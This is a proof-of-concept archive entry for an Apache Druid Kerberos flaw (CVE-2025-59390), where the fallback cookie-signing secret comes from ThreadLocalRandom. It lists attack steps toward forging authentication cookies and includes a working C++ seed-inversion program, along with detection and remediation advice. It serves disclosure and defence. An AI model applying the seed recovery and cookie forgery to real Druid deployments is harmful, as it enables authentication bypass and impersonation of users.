PoC Archive PoC Archive
Critical CVE-2025-59390 patched

Apache Druid Kerberos Cookie-Signing Secret Recovery via ThreadLocalRandom Seed Inversion (CVE-2025-59390)

by Daeda1usUK · 2026-07-06

CVSS 9.8/10
Severity
Critical
CVE
CVE-2025-59390
Category
crypto
Affected product
Apache Druid — Kerberos authenticator (druid.auth.authenticator.kerberos)
Affected versions
Through 34.0.0 (fixed in 35.0.0)
Disclosed
2026-07-06
Patch status
patched

Metadata

FieldValue
Date Added2026-07-06
Last Updated2026-07
Author / ResearcherDaeda1usUK
CVE / AdvisoryCVE-2025-59390
Categorycrypto
SeverityCritical
CVSS Score9.8 (CVSSv3.1: AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H)
StatusPoC
Tagsapache-druid, kerberos, threadlocalrandom, prng, seed-recovery, cookie-forgery, authentication-bypass, cwe-338
RelatedN/A

Affected Target

FieldValue
Software / SystemApache Druid — Kerberos authenticator (druid.auth.authenticator.kerberos)
Versions AffectedThrough 34.0.0 (fixed in 35.0.0)
Language / PlatformC++ (PoC seed-recovery tool); target is Java (JDK 8+ ThreadLocalRandom)
Authentication RequiredNo (attacker only needs observable cookie-signature outputs)
Network Access RequiredYes, to obtain signed Kerberos authentication cookies from a target Druid deployment

Summary

When Apache Druid’s Kerberos authenticator is deployed without an explicit druid.auth.authenticator.kerberos.cookieSignatureSecret, Druid falls back to generating that secret using Java’s ThreadLocalRandom, which is not cryptographically secure. Because ThreadLocalRandom’s internal 64-bit seed advances by a fixed additive constant (GAMMA = 0x9e3779b97f4a7c15) each call and is squashed through a reversible 64-bit “mix” (splitmix64-style) finalizer before being truncated to a 32-bit output, an attacker who observes a handful of successive 32-bit outputs from the same generator instance can mathematically invert the finalizer and recover the generator’s internal seed. Once the seed (and therefore the entire output stream, forwards and backwards) is known, the attacker can reconstruct or predict the fallback cookie-signing secret and forge valid Kerberos authentication cookies, enabling authentication bypass. The included PoC is a from-scratch demonstration of the seed-recovery mathematics, not a network exploit against a live Druid instance.


Vulnerability Details

Root Cause

ThreadLocalRandom.nextInt()/nextLong() derives outputs by taking the generator’s internal seed, advancing it by the constant GAMMA (mod 2^64), and passing the result through mix32/mix64 — a bijective (invertible) mixing function built from XOR-shift and odd (thus multiplicatively invertible modulo 2^64) constant multiplications:

z = (z ^ (z >> 33)) * 0xff51afd7ed558ccd  (mod 2^64)
z = (z ^ (z >> 33)) * 0xc4ceb9fe1a85ec53  (mod 2^64)
return (int32)(z >> 32)

Because every step is reversible (the multiplicative constants are odd and thus units in the ring Z/2^64Z, and the XOR-shift steps can be undone by re-applying the shift/XOR), observing a small number of consecutive outputs is enough to invert the entire construction and recover the internal seed — this is CWE-338 (Use of a Cryptographically Weak PRNG). Since Druid uses this non-CSPRNG to generate the Kerberos cookie-signing secret whenever the operator omits cookieSignatureSecret from configuration, the secret itself becomes recoverable via the same seed-inversion attack, and each Druid process/node generates its own independent (and independently crackable) fallback secret.

Attack Vector

  1. Identify a target Apache Druid deployment (≤ 34.0.0) whose Kerberos authenticator does not have druid.auth.authenticator.kerberos.cookieSignatureSecret explicitly configured, so it relies on the ThreadLocalRandom-derived fallback secret.
  2. Collect a small number (as few as 2, reliably 3) of successive 32-bit outputs produced by the vulnerable ThreadLocalRandom instance during secret generation/signing, e.g. via cookie material, timing/behavior, or other Druid-exposed randomness derived from the same generator stream.
  3. Run the seed-inversion routine (see ThreadLocalRandom_Inverse_POC.cpp): place the first known output in the high 32 bits of a 64-bit candidate, brute-force the low 32 bits (2^32 iterations), invert both multiplicative mix steps and both XOR-shift steps to reconstruct a candidate pre-mix value, then verify the candidate by re-deriving the 2nd (and 3rd, to eliminate collisions) known output and comparing.
  4. Once the seed is recovered, walk the generator’s output stream forward/backward by adding/subtracting GAMMA to reconstruct the actual cookie-signing secret Druid derived from it.
  5. Use the recovered secret to forge a validly-signed Kerberos authentication cookie and bypass authentication on the target Druid cluster.

Impact

Full authentication bypass against Apache Druid’s Kerberos authenticator: an attacker who can observe enough PRNG output to recover the seed can forge signed authentication cookies and impersonate any authenticated principal, without needing to compromise Kerberos itself. Distributed/multi-node Druid clusters are additionally affected by cross-node signature-verification failures because each node independently derives its own (crackable) fallback secret.


Environment / Lab Setup

Target:   Apache Druid (through 34.0.0) with Kerberos authenticator enabled and
          druid.auth.authenticator.kerberos.cookieSignatureSecret left unset
Attacker: Any machine capable of compiling/running the C++ seed-recovery PoC
          (built/tested on x86_64-pc-linux-gnu, GCC 14.2.1)

Proof of Concept

PoC Script

See ThreadLocalRandom_Inverse_POC.cpp in this folder (mirrored from the upstream repo’s ThreadLocalRandom Inverse POC file).

1
2
g++ -O2 -o tlr_inverse ThreadLocalRandom_Inverse_POC.cpp
./tlr_inverse

The PoC hardcodes a demonstration 64-bit threadSeed, generates three successive mix32 outputs (T1, T2, T3) exactly as ThreadLocalRandom would, then brute-forces the missing 32 bits of the first output, inverts both odd-constant multiplications and both XOR-shift steps to recover a seed candidate, and confirms it by checking that advancing by GAMMA and 2*GAMMA reproduces T2 and T3. On success it prints the recovered seed in hex, demonstrating that knowledge of a few ThreadLocalRandom outputs is sufficient to fully recover the generator’s internal state — the same technique applicable to recovering Druid’s fallback Kerberos cookie-signing secret.


Detection & Indicators of Compromise

Signs of compromise:

  • druid.auth.authenticator.kerberos.cookieSignatureSecret absent from Druid configuration
  • Unexplained successful authentications or forged-looking session cookies against Druid’s Kerberos authenticator
  • Inconsistent authentication behavior across Druid brokers/nodes in the same cluster (a symptom of the same root cause — independently generated fallback secrets)

Remediation

ActionDetail
Primary fixUpgrade to Apache Druid 35.0.0 or later, which makes druid.auth.authenticator.kerberos.cookieSignatureSecret mandatory and refuses to start without it
Interim mitigationExplicitly configure a strong, random cookieSignatureSecret for the Kerberos authenticator on every Druid node/process before 35.0.0 can be deployed

References


Notes

Mirrored from https://github.com/Daeda1usUK/CVE-2025-59390- on 2026-07-06. The upstream repository’s original README (renamed here to upstream-README.md) contains the vendor advisory text; the source file ThreadLocalRandom Inverse POC was copied as ThreadLocalRandom_Inverse_POC.cpp for clarity (identical content, extension added since the original filename had none).

ThreadLocalRandom_Inverse_POC.cpp
 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
#include <iostream>
#include <cstdint>
/*
 * The general concept of JDK 8+'s ThreadLocalRandom's nextInt is as follows
 * Obtain a seed from the Thread t as a long, r.
 * Increment r by the predefined value GAMMA mod 2^64, and return r.
 * Pass r to the mix32 function mix32(long z)
 ***************************************************
 * Procedure mix32(long z)
 * z = (z ^ (z >> 33)) * 0xff51afd7ed558ccd mod 2^64
 * z = (z ^ (z >> 33)) * 0xc4ceb9fe1a85ec53 mod 2^64
 * return (int32)(z >> 32);
 ***************************************************
 * For the proof of concept, we use unsigned integers for consistency.
 * This can be understood as returning the high bits of a 64 bit integer.
 * Lossily removing the 32 LSB.
 * To uniquely proceed with the attack, we require 3 outputs. To obtain very few,
 * likely one, collision, we only require 2. 
 * After collecting three outputs, we place the first output into the high bits of
 * a 64 bit numebr. We then iterate through all 2^32 possible low bits by
 * concatenating them to these high bits. This allows us to get past the lossy
 * compression down to a 32 bit integer. Then, we note that both constants are
 * odd, and thus unitary on the ring Z/2^64Z, implying the existence of a
 * multiplicative inverse. We first enumerate and apply the inverse of:
 * 0xc4ceb9fe1a85ec53
 * At this point, we notice that our guess necessarily must have the 33 high bits 
 * of the previous round of output, since they are unmodified by the XOR operation.
 * Thus, since only 31 bits were affected, we can perform a XOR by a right shifted
 * value again to work our way back to the first line. Repeat this line of thought 
 * once more, and we have obtained a candidate argument into mix32.
 * Once we have reached this point, we must check our guess.
 * With an oracle, we can simply query the oracle after each guess. This allows for
 * a single-output inversion.
 * Without an oracle, we require more checks in order to find certainty.
 * In order to check, we simply add gamma to our guess and pass it to mix32. If it
 * produces the second output, we have either found our seed or one of the small
 * number of possible collisions. If we have a third output, we add 2*GAMMA to our
 * guess and pass it to mix32 to compare with it, which should practically, if not
 * completely, eliminate the chance for collision. Thus, the stream is recovered,
 * and can be fully enumerated both backwards and forwards by subtracting and 
 * adding gamma, respectively.
 *
 * Built/tested on x86_64-pc-linux-gnu (Void Linux) using GCC 14.2.1.
 */
 
const uint64_t GAMMA = 0x9e3779b97f4a7c15;
 
inline uint32_t mix32(uint64_t num)
{
 num = (num ^ (num >> 33)) * 0xff51afd7ed558ccd;
  return static_cast<uint32_t>(((num ^ (num >> 33)) * 0xc4ceb9fe1a85ec53) >> 32);
}
 
int main()
{
  uint64_t threadSeed = 0x1234567812345678;
  uint32_t T1 = mix32(threadSeed + GAMMA);
  uint32_t T2 = mix32(threadSeed + 2*GAMMA);
  uint32_t T3 = mix32(threadSeed + 3*GAMMA);
  uint64_t hi = static_cast<uint64_t>(T1) << 32;
  uint64_t recoveredSeed = 0;
 
  for (size_t i = 0; i < (1ull << 32); ++i)
  {
    uint64_t num2 = hi | static_cast<uint32_t>(i); // concat guess
    num2 *= 0x9cb4b2f8129337db; // unit inverse
    num2 = num2 ^ (num2 >> 33); // de-xor
    num2 *= 0x4f74430c22a54005; // other unit inverse
    num2 = num2 ^ (num2 >> 33); // de-xor again
    
    // double check to prevent collision
    if (mix32(num2 + GAMMA) == T2 && mix32(num2 + 2*GAMMA) == T3)
    {
      recoveredSeed = num2 - GAMMA;
      std::cout << "[+] Recovered seed." << std::endl;
      std::cout << "[*] 0x" << std::hex << recoveredSeed << std::endl;
    }
    // progress check
    if (i % 10000000 == 0)
    {
      std::cout << "[~] "
    << (static_cast<double>(i) / (1ull << 32)) * 100
    << "% Done." << std::endl;
    }
  }
  std::cout << "[+] 100.000% Done" << std::endl;
  std::cout << "Found seed: 0x" << std::hex << recoveredSeed << std::endl;
  return 0;
}